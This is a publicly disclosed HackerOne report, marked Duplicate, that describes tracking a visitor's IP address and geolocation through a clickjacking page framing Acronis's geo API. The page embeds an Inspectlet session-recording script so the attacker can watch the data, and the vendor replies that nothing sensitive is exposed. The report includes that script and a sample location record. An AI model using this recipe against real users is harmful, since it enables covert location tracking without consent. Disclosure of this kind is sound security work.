HexBrain

Acronis · Report #998555

Get ip and Geo location any user via Clickjacking with inspectlet technology

Duplicatestatus
10upvotes
15 Oct 2020disclosed

Summary

We believe there is no sensitive information disclosure on geoapi.acronis.com. The service simply returns geolocation based on user's current IP address.

How it was found

Summary

Get ip and Geo location any user via Clickjacking with inspectlet technology

https://geoapi.acronis.com/?q=admin/views/ajax/autocomplete/user/a

Steps To Reproduce

  1. go to F1015419
  2. will watch your geo data ex. {"city":"Abu Kabir","country":{"name":"Egypt","code":"EG"},"location":{"accuracy_radius":1000,"latitude":30.7251,"longitude":31.6715,"time_zone":"Africa/Cairo"},"region":{"name":"Sharqia","code":"SHR"},"ip":"154.237.109.156"}

3.upload this page to any host and regsiter on https://www.inspectlet.com and add the tarcking code to your clickjacking page to can screen recording the user Sessions

ex.

<!-- Begin Inspectlet Asynchronous Code --> <script type="text/javascript"> (function() { window.__insp = window.__insp || []; __insp.push(['wid', 2060137667]); var ldinsp = function(){ if(typeof window.__inspld != "undefined") return; window.__inspld = 1; var insp = document.createElement('script'); insp.type = 'text/javascript'; insp.async = true; insp.id = "inspsync"; insp.src = ('https:' == document.location.protocol ? 'https' : 'http') + '://cdn.inspectlet.com/inspectlet.js?wid=2060137667&r=' + Math.floor(new Date().getTime()/3600000); var x = document.getElementsByTagName('script')[0]; x.parentNode.insertBefore(insp, x); }; setTimeout(ldinsp, 0); })(); </script> <!-- End Inspectlet Asynchronous Code -->
  1. after victim going to clickjacking page attacker will get full geo data via Session Recordings tab on https://www.inspectlet.com

Impact

Get ip and Geo location any user

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original